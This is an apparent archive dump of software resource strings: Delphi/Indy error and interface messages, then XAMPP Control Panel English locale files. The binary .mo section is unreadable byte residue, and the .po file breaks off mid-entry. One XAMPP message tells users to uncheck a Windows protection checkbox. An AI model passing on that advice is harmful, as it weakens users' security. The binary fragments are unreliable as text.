file (*)|*Text file (*.txt)|*.txt|Any file (*.*)|*.*Text files (*.txt)|*.txt|All files (*.*)|*.*Extra Headers Text EditorThreadThread Error: %s (%d)Thread Class Not Specified.Thread CachingTimedOutCaption TextTonsLongTonsTransaction is activeTransaction is not activeTransaction not assignedTransfer abortedTransfer completeCan not use active transfers with NAT fastracking.TransformNode most be called using a document node (not a document element) for the source and the stylesheet.Transform failedTransformationFile must be specifiedOpen Transformation FileTransparent proxy cannot bind.Driver (%s) not found in Cfg file (%s)Sorry, Unknown CommandRemotable Type %s not registeredType set to %s.Field '%s' is of an unknown typeType cannot be cast as VariantvarDate type not supportedvarDispatch type not supportedvarError type not supportedvarVariant type not supportedTypeEditMissing Type nameUDP Receive Error = 0.UKBucketsUMASK set to %.3d (was %.3d)No URL property set - please specify the URL of the Service you wish to connect toUnable to retrieve the URL endpoint for Service/Port '%s'/'%s' from WSDL '%s'UUCP subsystemTimeclock daemon (1)clock daemon (2)WinSock 2 must be installed to use the socket connectionYou must be in ShowCheckbox mode to set to this dateYou must have Interbase installed to use this componentShift+ToggleUnhandled Xerces DOM error (no message available): %dUnknownUnknown commandUnknown command %s.Unknown picture file extension (.%s)Unknown RichEdit conversion file extension (.%s)Unknown conversion family %sUnknown OTP methodUnknown SOAPAction %sUnknown queue %sUnknown Adapter mode: %sUnknown Response CodeUnknown datatype "%s"Unknown ErrorUnknown Error - Can't retrieve planUnknown errorUnknown modeUnknown socks error.Unknown SQL Data type (%d)Unknown TypeUnknown Message Part Type.Unknown custom variant type ($%.4x)Unknown Internal ErrorUnknown or other error: Can not determine owner, other error, or the error can not be revealed.Unknown or illegale facility codeUnknown or illegale security codeUnknown FTP listing formatUntitled ApplicationUnexpected operation from %s:%dUnexpected charactersUnexpected variant or safe array error: %s%.8xUnexpected parameter typeUnexpected return typeUnexpected onError return valueUnexpected onStatus return valueUnexpected script errorUnexpected variant errorUnexpected Output buffer valueUnexpected end of string [%s]Unexpected Close.Uneven size in DecodeToStream.Uneven size in Encode.Invalid Query Count %dInvalid complex type derivation: %sInvalid Action %dInvalid action received: %dInvalid action enumerationInvalid action creationInvalid Action registrationInvalid Login.Invalid Reply String.Invalid Text count. TIdText must be greater than 1Invalid action unregistrationInvalid selectionInvalid socks authentication method.Invalid batch move parametersInvalid Batch MoveInvalid Bcd Precision (%d) or Scale (%d)Invalid image sizeInvalid CRCInvalid Encoding. UU only allows Body and AttachmentsInvalid Encoding. UU only allows Body and Attachments.Invalid Colormap this ActionBand requires ColorMaps of type TCustomActionBarColorMapExInvalid data conversionInvalid DispID for parameter %d in method %sInvalid level (%d) for item "%s"Invalid Web component enumerationIllegal familyInvalid field sizeInvalid field registrationInvalid floating point operationInvalid image (the size is less than 4 bytes long).Invalid group declaration in "%s"Invalid SizeInvalid HTTP Request: Length is 0Invalid HTTP Response: Length is 0Invalid Header Id %dInvalid IP AddressInvalid ISAPI application: %sInvalid ImageListInvalid class reference for TAppletApplicationInvalid component registrationInvalid value length: Should be 32.Invalid millisecond: %dInvalid minute: %dInvalid NULL variant operationInvalid Message NumberInvalid namespace requestInvalid network mask.Invalid operation on TOleGraphicInvalid operation on a hosted nodeInvalid %s optionsInvalid option specifiedInvalid package file '%s'Invalid Packet Size %dInvalid port numberInvalid Web component registrationInvalid responseInvalid SOAP requestInvalid SOAP responseInvalid SOAP array specificationInvalid SQL date/time valuesInvalid second: %dInvalid second: %fInvalid stream operationInvalid string constantInvalid hour: %dInvalid class typecastInvalid url '%s' - only supports 'http' and 'https' schemesInvalid variant operationInvalid variant operation ($%.8x)Invalid variant operation (%s%.8x) %sInvalid variant type conversionInvalid use of keywordInvalid pointer operationIncorrect level assignmentInvalid item level assignmentInvalid numeric inputInvalid or Unknown Time ZoneInvalid syslog message: incorrect PRI number "%s"Invalid syslog message: incorrect PRI sectionInvalid Syslog message: packet too large (%d bytes)Invalid syslog message: incorrect timestamp "%s"Invalid modificationInvalid parent class: %sInvalid %s value: "%s"Invalid alias name %sInvalid ownerInvalid binary valueInvalid file name - %sInvalid data type for '%s'Invalid decimal string: ''%s''Illegal Dimension IndexInvalid property type: %sInvalid property valueInvalid input value. Use escape key to abandon changesInvalid Enum ValueIncorrectly formed filter expressionInvalid format type for BCDInvalid outline indexInvalid host name. A SYSLOG host name cannot contain any space ("%s")+Invalid ImageList IndexInvalid indexInvalid node typeInvalid month: %dInvalid built-in type name "%s"Invalid parameter index (index exceeds permitted range)Invalid property pathInvalid Port Range (%d - %d)Invalid Port: The foreign or local port is not specified correctly or invalidInvalid provider. Provider was freed by the application serverInvalid Redirect parameterSQL Dialect InvalidInvalid fractional second: %fInvalid session name %sInvalid column index (index exceeds permitted range)Invalid string offsetInvalid hour offset: %dInvalid day: %dIllegal typeInvalid URL encoded character (%s) at position %dInvalid variant typeInvalid value for current itemInvalid value for field '%s'Invalid PointerInvalid time string: %sInvalid duration string: %sInvalid accessInvalid Email Address %sInvalid Enhanced Code: Invalid numeric valueInvalid Reply Class.Invalid statement handleInvalid argumentInvalid argument to date encodeInvalid argument to time encodeInvalid argument.Invalid data packetInvalid property element: %sInvalid clipboard formatInvalid HTML encoded character (%s) at position %dInvalid object verbInvalid package handleInvalid passwordInvalid pixel formatInvalid QueueingInvalid stream formatIcon image is not validInvalid WSDL document '%s' - Please verify the location and content! Error: %sInvalid character in nameInvalid filter expression character: '%s'Invalid or unsupported XML Schema documentInterrupted system call.Cannot assign a subitem to an actionbar when one of it's parent's is already assigned to an actionbarCannot insert child nodeSub-menu is not in menuSize mismatch for field '%s', expecting: %d actual: %dType mismatch for field '%s', expecting: %s actual: %sUnderlineExtensions supported: SIZE PASV REST End of extentions.Drilled InOuncesFluidOuncesUKOunces&UpdateSQL Editor...UseExtensionDataPort must be true for IPv6 connections.UseExtensionDataPort must be true for NAT fasttracking.Unassigned UserPassProvider!VCRFGFBVariable %s is not a containerVariable not found: %sVariant is not an arrayVariant method calls not supportedInvalid variant type or size for field '%s'Variant overflowCould not convert variant of type (%s) into type (%s)Variant or safe array is lockedVariant or safe array index out of boundsVariant does not reference an automation objectVariant does not reference an OLE objectVariance of %sConnecting to %s.Disconnected.Already connected.Connection not allowed to TConnectionBrokerConnection establishedDisconnecting.Cannot connect to database '%s'Do not allow connctions nowHidden User: Information was not returned at a user's requestForbiddenconnected with %sConnected.&AvailableA&vailable IndexesAvailable fieldsElapsedLinked %sNested dataset must inherit from %sMiscellaneousWINSOCK DLL Version out of range.Read beyond end of fileAttempt to %s while the HL7 Component is not workingAttempting to put items into a virtual style listboxTrying to store a string of length %d into a field that can only contain %dTile Verticaluse ExecProc for Procedure; use TQuery for Select proceduresuse Open for a Select StatementHelp on helpUnknown credentials usePathInfoDirectory %s does not existDirectory not emptyUnable to create directoryDirectory &Name:VideodiscUKGillDryPecksUKPecksFortnightsVisualVolumeAn error returned from DDE ($0%x)&Download URLCannot find node referenced by ID %sRequires Connection before openingPrecondition FailedAncestor for '%s' not foundPrior recordWSDLUnable to load WSDL File/Location: %s. Error [%s]WSDL Ports for PortTypeWSIL:TrueWarningCOM Server WarningWarning: warning conditionsQueue %s status: %sWaveAudioWeb App DebuggerWeb Module Factory already registeredWeb Page does not provide contentWeb Page not found: %sWeb Page does not support redirectWebAppModuleWebSnapWebSnap ApplicationWebSnap Data ModuleCreates a WebSnap Data ModuleWebSnap Page ModuleCreates a WebSnap Page ModuleEntering Extended Passive Mode (%s)Error occurred when DDE ran out of memory ($0%x)continueDispatching blank page nameFind Next|Repeats the last findWhiteDisconnecting clients can cause application errors. Continue?ValueValue of field '%s' is out of rangeIOHandler value is not validRequired Param value not setCannot print valueCan't change value while socket is activeMillisecond Values must be between 000 - 999Timeout values cannot be negativeGrouping values ...Value List editorCannot write WideString to odd byte positionCannot read WideString from odd byte positionWideString index out of boundsConflicting ValueReconnect at %s: %sWelcome to Indy POP3 ServerWelcome to the INDY SMTP ServerWin32 Error. Code: %d. %sWindows socket error: %s (%d), on API '%s'Winshoes LPD Server %s Winsock not loaded yet.Winsock stackReal nameCannot convert scientific notation to TBcd valueWeeksWould you like to reset to the default Priority Schedule?Do you still want to Exit?Cannot modify SessionName while AutoSessionName is enabledCannot Cancel events while processingCube PropertiesXML Parse Error: XML files (*.xml)|*.xmlMissing XML Data ComponentCould not create XMLDocumentXMLBroker: %s is not connectedXMLDataFile must be specifiedXP StyleXSQLDA index out of rangeXSQLDA name does not exist (%s)XTR files (*.xtr)|*.xtrYardsNumber expectedThe string %s does not translate into a valid IP.Cannot refresh row. (No refresh query)Unable to insert a lineLine too longlinesline printer subsystemrow errorRow index out of range : %dScript execution timed out after %d secondsReply Timed Out: The server did not return a response and the query has been abandonedTimeoutTerminate Thread TimeoutDatabase connection timed outGateway timeoutConnection timed out.Read TimeoutConnect timed out.CentaresCentigramsCentiLitersCentimetersCenter|Centers text between marginsDrag to create SeparatorsCannot change target while active.Must have a target streamDestination address required.Circular DataLink ReferenceCircular datalinks are not allowedCircular provider references not allowed.Circular references not allowedCircular references not permittedCircular provider references not allowedCircular reference to Connection not allowedZLib error: target buffer may be too smallInchesNew components cannot be added to frame instances.Cannot link to an invalid source.Too many users.Too many imagesToo much data in buffer.Too many levels of remote in path.Too many levels of symbolic links.List count out of bounds (%d)Too Many recipients.Too many parameters for method %sToo many parameters in method %sToo many processes.Too many references, cannot splice.Too many table columnsToo many rows or columns deletedToo many open filesToo many open files.Out of memoryDisk full&SummariesLogin with USER first.Assigned Port value %d is invalidAccess to %s deniedCannot access index field '%s'Cannot access package information for package '%s'Page access deniedTemporary file access errorAccessRightsAccess violationAccess violation at address %p in module '%s'. %s of address %pAccess violation at address %p. %s of address %pCannt connect to the Master serverNo invokable class registered that implements interface %s of (soap action/path) %sMove to Column AreaMove to Row AreaCount (*) for AveragesThere is no default printer currently selectedCannot post. (No update/insert query)Summary of %sWriteObject called twice for the same instanceClipboard does not support IconsSubtotals on/offTransparent Proxy Cyclic error.onoffcbxFieldscbxGeneratorsthis application may cause those client application(s) to fail. Are you sure you want to close this application?frmGeneratorEditorgoColMoving is not a supported optionhttp://server.company.com/scripts/httpsrvr.dllhttp://www.indyproject.org/http://www.nevrona.com/indy/File include error on line %d: expecting virtual, file, or page, but found %s.File include error on line %d: expecting "File include error on line %d: expecting =ircuserFailed to lookup isc_cancel_eventsFailed to lookup isc_event_blockFailed to lookup isc_event_countsFailed to lookup isc_freeFailed to lookup isc_interpreteFailed to lookup isc_que_eventsnothingby DNSName [127.0.0.1] running Indy SMTPpresent the Kitchen Sinksigaction call failedstart Parameters missing or incorrectddd, dd mmm yyyy hh:mm:ssxmlxtrCommandText changes are not allowedModifications are not allowed&Open...OpenOpen with...Open|Opens an existing fileCascadeOverflow while converting variant of type (%s) into type (%s)DTD to XML Schema Translator (.dtd <-> .xsd)XDR to XML Schema Translator (.xdr <-> .xsd)XMLData to XML Schema Translator (.xml -> .xsd)LocalizableSkipxampp-control-panel/locale/en/LC_MESSAGES/xampp_control.mo000066600000051576151723641500017342 0ustar00Q (25>GM Uck q|'8 (4!Rt ,/-8+f, ".Qp)-2::u*  $$C#h%.E_g" .BH$'%#$(,M-z".C?'. *;+g"v! # 5 K #f     L 1!9!9J!!!! !!&!!7!.",3"+`"""" "" ""#############$#$#5$&Y$$$"$?$=%<F%#%%%%%&%%&7&F&0V&)&&&& & &E&5' ='J'#['''''''I'D(d(|( (((((( (( ();)X)+v),)9) *;*=L*'**3*8*2/+b+Az+, ,,, -> -Q_-]-.2).*\..@.8."/ :/1[/)/2/*/.0AD0J0Q0B#19f1+11>1B23R26242223%3Y3a3Ai3334 4445 55 5&5.5 45?5W5'^55585 55!676J6`6 }6,6/6-6+)7,U77 777"7838S8)r8-828:889R9g9*9 999$:#+:%O:u:{:::::::;";*;C;_;y;;;;";;B <N<$T<'y<%<#<$<,=-==k=}==="=.=C>'F>n>.w> >*>>;>*?"9?!\? ~?????#??@#)@M@V@u@ ~@ @@ @L@@@9 A!GAiA pA}A&AA7AA,A+#BOBWBwB BB BB[C_CfCkCCCCCCCCCCCC#C&D$CD"hD?D=D< E#FEjEEEE&E%EE F0F)JFtF}FF F FEFF G G#GBGSGmGGGGIGH'H?H EHQHhHnHwHH HH HHHI+9I,eI9II;I=J'MJuJ3J8J2J%KA=KL LLL L>LQ"M]tMM2M*NJN@`N8N"N N1O)PO2zO*O.OAPJIPQPBP9)Q+cQQ>QBQ3R6IR4R2R3RS$SA,SnSG z#+d<sDOuIQ%eF)V&B2p ctnY 9.1M y:N;6E^a?/CrL~5xh!>}X_]*i'U`T@|WmH[43k( =SJqgK,lRfP0"jw\ A8Z7{v-ob$ Autostart of modules Modules %sAJP PortAbortActionsActive socketAddressAdminAdmin PortAll prerequisites foundApacheApache Service detected with wrong pathApache Service is disabled.Apache SettingsApache WILL NOT start without the configured ports free!ApplicationAttempting to start %s app...Attempting to start %s service...Attempting to stopAttempting to stop %sAttempting to stop %s app...Attempting to stop %s service...Autostart aborted: Apache is already runningAutostart aborted: FileZilla is already runningAutostart aborted: Mercury is already runningAutostart aborted: MySQL is already runningAutostart aborted: Tomcat is already runningAutostart active: starting...Browser (empty = system default)Change LanguageChange XAMPP Apache settings orChange XAMPP FileZilla settings orChange XAMPP MySQL settings orChange XAMPP Tomcat settings orCheck default ports on startupCheck that you have the proper privilegesCheck the "/xampp/apache/logs/error.log" fileCheck the "/xampp/mysql/data/mysql_error.log" fileCheck the "/xampp/tomcat/logs" folder for more informationChecking default ports...Checking for App: %sChecking for Service: %sChecking for alternate module existence...Checking for module existence...Checking for prerequisitesChecking for required tools...Checking for service (name="%s"): %sClick Yes to install the %s serviceClick Yes to uninstall the %s serviceCloseConfigConfiguration of Control PanelControl Panel ReadyCopyCreating PID-entry %d: %sDeinitializing Control PanelDeinitializing ModulesDeleting PID-entry %d: %sDetailsDisabling Apache buttonsDisabling FileZilla buttonsDisabling Mercury buttonsDisabling MySQL buttonsDisabling Tomcat buttonsEditor:Enable Tomcat output windowEnabling autostart for module "%s"Enhanced by hackattack142Enter user defined files. Files must be relative to xampp-basedir!ErrorError: Apache shutdown unexpectedly.Error: FileZilla shutdown unexpectedly.Error: Mercury shutdown unexpectedly.Error: MySQL shutdown unexpectedly.Error: Tomcat shutdown unexpectedly.Example: "apache\conf\extra\httpd-info.conf"Executables (*.exe)|*.exe|All files (*.*)|*.*Executing "%s %s"Executing "%s"Executing "%s" "%s"Executing %s %sExpected Path: "%sFileZillaFTP\%s"Expected Path: "%sapache\bin\%s" -k runserviceExpected Path: %smysql\bin\%s --defaults-file=%smysql\bin\my.ini %sExpected Path: %stomcat\bin\%s //RS//%sExplorerFile "%s" not found. Should it be created now?FileZillaFileZilla Service detected with wrong pathFileZilla SettingsFileZilla WILL NOT start without the configured ports free!Found Path: %sFound service, attempting to startFound service, attempting to stopHTTP PortHelpInitializing Control PanelInitializing ModulesInitializing module...Install Apache as a Windows ServiceInstalling service...Is Tomcat already running?Java is already running on port %d!LanguageListening socket closed: %s:%dLog FontLog Font SizeLog OptionsLogsMain PortMake sure you have Java JDK or JRE installed and the required ports are freeMercuryMercury SettingsMercury WILL NOT start without the configured ports free!Mercury cannot be run as service!ModuleMore DetailsMySQLMySQL Service detected with wrong pathMySQL SettingsMySQL WILL NOT start without the configured ports free!NameNeed Help? Visit the XAMPP forums (English):Need Help? Visit the XAMPP forums (German):NetstatNetstat - TCP Listening socketsNew listening socket: %s:%dNew socketNo PIDs found?!Old socketOne possible reason for failure: On windows security box you !!!MUST UNCHECK!!! the "Protect my computer and data from unauthorized program activity" checkbox!!!PIDPID(s)PortPort %d in use by "%s"!Port 1Port 2Port 3Port 4Port 5Port 6Port 7Port(s)Portblocker Detected: %sPorts in use: %sProblem detected!Problem detected: Apache Not Found!Problem detected: FileZilla Not Found!Problem detected: Mercury Not Found!Problem detected: MySQL Not Found!Problem detected: Required Tool catalina_service.bat Not Found!Problem detected: Required Tool catalina_start.bat Not Found!Problem detected: Required Tool catalina_stop.bat Not Found!Problem detected: Tomcat Not Found!Problem killing PID %dProgrammed by Steffen StrueberQuitRefreshRequired XAMPP prerequisite not found!Restart application to apply changes!Return Code %dReturn code: %dRun this program from your XAMPP root directory!Running with Administrator rights - good!SSL PortSaveSearching for service %sSelect AllSelect FontSelected modules will be started on next launch of the Control Panel.ServiceService NameService Path: %sService Path: Service Not InstalledService SettingsService and Port SettingsService installedService not installedService was NOT (un)installed!ServicesServices cannot be installed or uninstalled while the service is running!Setting Service Display Name...Setting Service Name...ShellShow / HideShow debug informationStartStartingStatus change detected:StopSuccessful!The Apache module is disabledThe FileZilla module is disabledThe Mercury module is disabledThe MySQL module is disabledThe Tomcat module is disabledThere may be an error, return code: %d - %sThis is required for XAMPP to fully functionThis may be due to a blocked port, missing dependencies, TomcatTomcat Service Install stopped with errors, return code: %dTomcat Service Uninstall stopped with errors, return code: %dTomcat Service detected with wrong pathTomcat SettingsTomcat Started/Stopped with errors, return code: %dTomcat WILL NOT start without the configured ports free!Uninstall/disable the other service manually firstUninstalling service...Use this form to set service-specific and default port settings. You can set the name and default ports the XAMPP Control Panel will check. Do not include spaces or quotes in names. This does NOT change the ports that the services and programs use. You still need to change those in the services' configuration files.User Defined FilesUser definedUser-defined log/config-filesVC++ checking is disabledView ReadMeWARNING: Your Operating System is too old and is not supportedWARNING: Your install directory contains spaces. This may break programs/scriptsWARNING: Your install directory contains special characters. This may break programs/scriptsWindows Version: %s %s %sXAMPP Apache Service is already running on port %dXAMPP Apache is already running on port %dXAMPP Control Panel vXAMPP FileZilla FTP Server Service is already running on port %dXAMPP FileZilla FTP Server is already running on port %dXAMPP Installation Directory: "%s"XAMPP Mercury is already runningXAMPP MySQL Service is already running on port %dXAMPP MySQL is already running on port %dXAMPP Tomcat Service is already running on port %dXAMPP Tomcat is already running on port %dYou appear to be missing the VC9 Runtime FilesYou are not running with administrator rights! This will work forYou do not appear to have the Microsoft Visual C++ 2008 Runtimes installedYou need to download and install the Microsoft Visual C++ 2008 SP1 (x86) RuntimesYou need to uninstall/disable/reconfigure the blocking applicationabout running this application with administrator rights!and the Windows Event Viewer for more cluesexeimproper privileges, a crash, or a shutdown by another method.most application stuff but whenever you do something with servicesor reconfigure Apache to listen on a different portor reconfigure FileZilla to listen on a different portor reconfigure Mercury to listen on a different portor reconfigure MySQL to listen on a different portor reconfigure Tomcat to listen on a different portrunningstoppedthere will be a security dialogue or things will break! So think unknown programProject-Id-Version: XAMPP EN POT-Creation-Date: 2012-08-20 21:08 PO-Revision-Date: 2012-08-20 21:19-0500 Last-Translator: Mark MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: dxgettext 1.2.2 Language-Team: Autostart of modules Modules %sAJP PortAbortActionsActive socketAddressAdminAdmin PortAll prerequisites foundApacheApache Service detected with wrong pathApache Service is disabled.Apache SettingsApache WILL NOT start without the configured ports free!ApplicationAttempting to start %s app...Attempting to start %s service...Attempting to stopAttempting to stop %sAttempting to stop %s app...Attempting to stop %s service...Autostart aborted: Apache is already runningAutostart aborted: FileZilla is already runningAutostart aborted: Mercury is already runningAutostart aborted: MySQL is already runningAutostart aborted: Tomcat is already runningAutostart active: starting...Browser (empty = system default)Change LanguageChange XAMPP Apache settings orChange XAMPP FileZilla settings orChange XAMPP MySQL settings orChange XAMPP Tomcat settings orCheck default ports on startupCheck that you have the proper privilegesCheck the "/xampp/apache/logs/error.log" fileCheck the "/xampp/mysql/data/mysql_error.log" fileCheck the "/xampp/tomcat/logs" folder for more informationChecking default ports...Checking for App: %sChecking for Service: %sChecking for alternate module existence...Checking for module existence...Checking for prerequisitesChecking for required tools...Checking for service (name="%s"): %sClick Yes to install the %s serviceClick Yes to uninstall the %s serviceCloseConfigConfiguration of Control PanelControl Panel ReadyCopyCreating PID-entry %d: %sDeinitializing Control PanelDeinitializing ModulesDeleting PID-entry %d: %sDetailsDisabling Apache buttonsDisabling FileZilla buttonsDisabling Mercury buttonsDisabling MySQL buttonsDisabling Tomcat buttonsEditor:Enable Tomcat output windowEnabling autostart for module "%s"Enhanced by hackattack142Enter user defined files. Files must be relative to xampp-basedir!ErrorError: Apache shutdown unexpectedly.Error: FileZilla shutdown unexpectedly.Error: Mercury shutdown unexpectedly.Error: MySQL shutdown unexpectedly.Error: Tomcat shutdown unexpectedly.Example: "apache\conf\extra\httpd-info.conf"Executables (*.exe)|*.exe|All files (*.*)|*.*Executing "%s %s"Executing "%s"Executing "%s" "%s"Executing %s %sExpected Path: "%sFileZillaFTP\%s"Expected Path: "%sapache\bin\%s" -k runserviceExpected Path: %smysql\bin\%s --defaults-file=%smysql\bin\my.ini %sExpected Path: %stomcat\bin\%s //RS//%sExplorerFile "%s" not found. Should it be created now?FileZillaFileZilla Service detected with wrong pathFileZilla SettingsFileZilla WILL NOT start without the configured ports free!Found Path: %sFound service, attempting to startFound service, attempting to stopHTTP PortHelpInitializing Control PanelInitializing ModulesInitializing module...Install Apache as a Windows ServiceInstalling service...Is Tomcat already running?Java is already running on port %d!LanguageListening socket closed: %s:%dLog FontLog Font SizeLog OptionsLogsMain PortMake sure you have Java JDK or JRE installed and the required ports are freeMercuryMercury SettingsMercury WILL NOT start without the configured ports free!Mercury cannot be run as service!ModuleMore DetailsMySQLMySQL Service detected with wrong pathMySQL SettingsMySQL WILL NOT start without the configured ports free!NameNeed Help? Visit the XAMPP forums (English):Need Help? Visit the XAMPP forums (German):NetstatNetstat - TCP Listening socketsNew listening socket: %s:%dNew socketNo PIDs found?!Old socketOne possible reason for failure: On windows security box you !!!MUST UNCHECK!!! the "Protect my computer and data from unauthorized program activity" checkbox!!!PIDPID(s)PortPort %d in use by "%s"!Port 1Port 2Port 3Port 4Port 5Port 6Port 7Port(s)Portblocker Detected: %sPorts in use: %sProblem detected!Problem detected: Apache Not Found!Problem detected: FileZilla Not Found!Problem detected: Mercury Not Found!Problem detected: MySQL Not Found!Problem detected: Required Tool catalina_service.bat Not Found!Problem detected: Required Tool catalina_start.bat Not Found!Problem detected: Required Tool catalina_stop.bat Not Found!Problem detected: Tomcat Not Found!Problem killing PID %dProgrammed by Steffen StrueberQuitRefreshRequired XAMPP prerequisite not found!Restart application to apply changes!Return Code %dReturn code: %dRun this program from your XAMPP root directory!Running with Administrator rights - good!SSL PortSaveSearching for service %sSelect AllSelect FontSelected modules will be started on next launch of the Control Panel.ServiceService NameService Path: %sService Path: Service Not InstalledService SettingsService and Port SettingsService installedService not installedService was NOT (un)installed!ServicesServices cannot be installed or uninstalled while the service is running!Setting Service Display Name...Setting Service Name...ShellShow / HideShow debug informationStartStartingStatus change detected:StopSuccessful!The Apache module is disabledThe FileZilla module is disabledThe Mercury module is disabledThe MySQL module is disabledThe Tomcat module is disabledThere may be an error, return code: %d - %sThis is required for XAMPP to fully functionThis may be due to a blocked port, missing dependencies, TomcatTomcat Service Install stopped with errors, return code: %dTomcat Service Uninstall stopped with errors, return code: %dTomcat Service detected with wrong pathTomcat SettingsTomcat Started/Stopped with errors, return code: %dTomcat WILL NOT start without the configured ports free!Uninstall/disable the other service manually firstUninstalling service...Use this form to set service-specific and default port settings. You can set the name and default ports the XAMPP Control Panel will check. Do not include spaces or quotes in names. This does NOT change the ports that the services and programs use. You still need to change those in the services' configuration files.User Defined FilesUser definedUser-defined log/config-filesVC++ checking is disabledView ReadMeWARNING: Your Operating System is too old and is not supportedWARNING: Your install directory contains spaces. This may break programs/scriptsWARNING: Your install directory contains special characters. This may break programs/scriptsWindows Version: %s %s %sXAMPP Apache Service is already running on port %dXAMPP Apache is already running on port %dXAMPP Control Panel vXAMPP FileZilla FTP Server Service is already running on port %dXAMPP FileZilla FTP Server is already running on port %dXAMPP Installation Directory: "%s"XAMPP Mercury is already runningXAMPP MySQL Service is already running on port %dXAMPP MySQL is already running on port %dXAMPP Tomcat Service is already running on port %dXAMPP Tomcat is already running on port %dYou appear to be missing the VC9 Runtime FilesYou are not running with administrator rights! This will work forYou do not appear to have the Microsoft Visual C++ 2008 Runtimes installedYou need to download and install the Microsoft Visual C++ 2008 SP1 (x86) RuntimesYou need to uninstall/disable/reconfigure the blocking applicationabout running this application with administrator rights!and the Windows Event Viewer for more cluesexeimproper privileges, a crash, or a shutdown by another method.most application stuff but whenever you do something with servicesor reconfigure Apache to listen on a different portor reconfigure FileZilla to listen on a different portor reconfigure Mercury to listen on a different portor reconfigure MySQL to listen on a different portor reconfigure Tomcat to listen on a different portrunningstoppedthere will be a security dialogue or things will break! So think unknown programxampp-control-panel/locale/en/LC_MESSAGES/xampp_control.po000066600000117613151723641500017340 0ustar00# SOME DESCRIPTIVE TITLE. # Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER # This file is distributed under the same license as the PACKAGE package. # FIRST AUTHOR , YEAR. # msgid "" msgstr "" "Project-Id-Version: XAMPP EN\n" "POT-Creation-Date: 2012-08-20 21:08\n" "PO-Revision-Date: 2012-08-20 21:19-0500\n" "Last-Translator: Mark \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: dxgettext 1.2.2\n" "Language-Team: \n" #. fConfig..Caption #: uConfig.dfm:4 msgid "Configuration of Control Panel" msgstr "Configuration of Control Panel" #. fConfig..lblEditor..Caption #: uConfig.dfm:33 msgid "Editor:" msgstr "Editor:" #. fConfig..lblBrowser..Caption #: uConfig.dfm:44 msgid "Browser (empty = system default)" msgstr "Browser (empty = system default)" #. fConfig..bSave..Caption #. fConfigUserDefined..bSave..Caption #. fLanguage..bOkay..Caption #. fLogOptions..bSave..Caption #. fServiceSettings..bSave..Caption #: uConfig.dfm:108 uConfigUserDefined.dfm:69 uLanguage.dfm:191 #: uLogOptions.dfm:92 uServiceSettings.dfm:43 msgid "Save" msgstr "Save" #. fConfig..bAbort..Caption #. fConfigUserDefined..bAbort..Caption #. fLanguage..bAbort..Caption #. fLogOptions..bCancel..Caption #. fServiceSettings..bCancel..Caption #: uConfig.dfm:151 uConfigUserDefined.dfm:112 uLanguage.dfm:233 #: uLogOptions.dfm:134 uServiceSettings.dfm:79 msgid "Abort" msgstr "Abort" #. fConfig..cbDebug..Caption #: uConfig.dfm:245 msgid "Show debug information" msgstr "Show debug information" #. fConfig..cbDebugDetails....Items.Strings #: uConfig.dfm:261 msgid "Details" msgstr "Details" #. fConfig..cbDebugDetails....Items.Strings #: uConfig.dfm:262 msgid "More Details" msgstr "More Details" #. fConfig..grpAutostart..Caption #: uConfig.dfm:274 msgid " Autostart of modules " msgstr " Autostart of modules " #. fConfig..grpAutostart..lblAutostart....Caption #: uConfig.dfm:292 msgid "Selected modules will be started on next launch of the Control Panel." msgstr "Selected modules will be started on next launch of the Control Panel." #. fConfig..grpAutostart..cbASApache..Caption #. fConfigUserDefined..pcUserDefConf..pApache..Caption #. fMain..gbModules..pApacheStatus..Caption #. fMain..puSystray..ApacheTray..Caption #. fServiceSettings..pcSettings..pApache..Caption #: uConfig.dfm:312 uConfigUserDefined.dfm:153 uMain.dfm:1487 uMain.dfm:3003 #: uServiceSettings.dfm:118 msgid "Apache" msgstr "Apache" #. fConfig..grpAutostart..cbASMySQL..Caption #. fConfigUserDefined..pcUserDefConf..pMySQL..Caption #. fMain..gbModules..pMySQLStatus..Caption #. fMain..puSystray..MySQLTray..Caption #. fServiceSettings..pcSettings..pMySQL..Caption #: uConfig.dfm:324 uConfigUserDefined.dfm:223 uMain.dfm:1592 uMain.dfm:3011 #: uServiceSettings.dfm:193 msgid "MySQL" msgstr "MySQL" #. fConfig..grpAutostart..cbASFileZilla..Caption #. fConfigUserDefined..pcUserDefConf..pFileZilla..Caption #. fMain..gbModules..pFileZillaStatus..Caption #. fMain..puSystray..FileZillaTray..Caption #. fServiceSettings..pcSettings..pFileZilla..Caption #: uConfig.dfm:336 uConfigUserDefined.dfm:294 uMain.dfm:1606 uMain.dfm:3019 #: uServiceSettings.dfm:250 msgid "FileZilla" msgstr "FileZilla" #. fConfig..grpAutostart..cbASMercury..Caption #. fConfigUserDefined..pcUserDefConf..pMercury..Caption #. fMain..gbModules..pMercuryStatus..Caption #. fMain..puSystray..MercuryTray..Caption #. fServiceSettings..pcSettings..pMercury..Caption #: uConfig.dfm:348 uConfigUserDefined.dfm:365 uMain.dfm:1620 uMain.dfm:3027 #: uServiceSettings.dfm:327 msgid "Mercury" msgstr "Mercury" #. fConfig..grpAutostart..cbASTomcat..Caption #. fConfigUserDefined..pcUserDefConf..TabSheet5..Caption #. fMain..gbModules..pTomcatStatus..Caption #. fMain..puSystray..TomcatTray..Caption #. fServiceSettings..pcSettings..pTomcat..Caption #: uConfig.dfm:356 uConfigUserDefined.dfm:436 uMain.dfm:1725 uMain.dfm:3035 #: uServiceSettings.dfm:484 msgid "Tomcat" msgstr "Tomcat" #. fConfig..cbCheckDefaultPorts..Caption #: uConfig.dfm:369 msgid "Check default ports on startup" msgstr "Check default ports on startup" #. fConfig..bLanguage..Caption #: uConfig.dfm:382 msgid "Change Language" msgstr "Change Language" #. fConfig..bConfigUserdefined..Caption #: uConfig.dfm:396 msgid "User Defined Files" msgstr "User Defined Files" #. fConfig..cbTomcatVisible..Caption #: uConfig.dfm:411 msgid "Enable Tomcat output window" msgstr "Enable Tomcat output window" #. fConfig..bLogSettings..Caption #. fLogOptions..Caption #: uConfig.dfm:420 uLogOptions.dfm:4 msgid "Log Options" msgstr "Log Options" #. fConfig..bServiceSettings..Caption #: uConfig.dfm:429 msgid "Service and Port Settings" msgstr "Service and Port Settings" #. fConfig..OpenDialog1..DefaultExt #: uConfig.dfm:434 msgid "exe" msgstr "exe" #. fConfig..OpenDialog1..Filter #: uConfig.dfm:435 msgid "Executables (*.exe)|*.exe|All files 